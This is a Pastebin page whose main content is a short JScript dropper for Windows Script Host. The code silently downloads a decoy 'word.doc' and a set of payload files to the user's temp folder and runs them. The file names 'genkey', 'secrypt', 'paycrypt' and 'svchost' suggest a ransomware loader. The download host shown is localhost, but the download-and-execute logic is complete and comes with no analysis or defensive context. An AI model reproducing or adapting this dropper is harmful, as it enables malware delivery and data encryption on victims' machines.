Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function Run(c) {
- WshShell.Run(c, 0, 0)
- }
- function saveFile(c, e) {
- var d = new ActiveXObject("MSXML2.XMLHTTP");
- d.onreadystatechange = function () {
- if (4 === d.readyState) {
- var b = new ActiveXObject("ADODB.Stream");
- b.open();
- b.type = 1;
- b.write(d.ResponseBody);
- b.position = 0;
- b.saveToFile(e, 2);
- b.close()
- }
- };
- d.open("GET", c, !1);
- d.send()
- }
- function CreateObject(c) {
- return new ActiveXObject(c)
- }
- var WshShell = CreateObject("WScript.Shell"),
- DestinationFLE = "%TEMP%\\",
- DestinationFLE = WshShell.ExpandEnvironmentStrings(DestinationFLE);
- saveFile("http://127.0.0.1/index_files/img/word", "" + DestinationFLE + "word.doc");
- try {
- Run("" + DestinationFLE + "word.doc")
- } catch (a) {}
- saveFile("http://127.0.0.1/index_files/img/cde", "" + DestinationFLE + "cde.cmd");
- saveFile("http://127.0.0.1/index_files/img/genkey", "" + DestinationFLE + "genkey.like");
- saveFile("http://127.0.0.1/index_files/img/secrypt", "" + DestinationFLE + "secrypt.like");
- saveFile("http://127.0.0.1/index_files/img/paycrypt", "" + DestinationFLE + "paycrypt.like");
- saveFile("http://127.0.0.1/index_files/img/svchost", "" + DestinationFLE + "svchost.like");
- saveFile("http://127.0.0.1/index_files/img/iconv", "" + DestinationFLE + "iconv.dll");
- Run("" + DestinationFLE + "cde.cmd");
- saveFile("http://127.0.0.1/index_files/img/DEC01", "" + DestinationFLE + "DEC01");
- saveFile("http://127.0.0.1/index_files/img/DEC02", "" + DestinationFLE + "DEC02");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement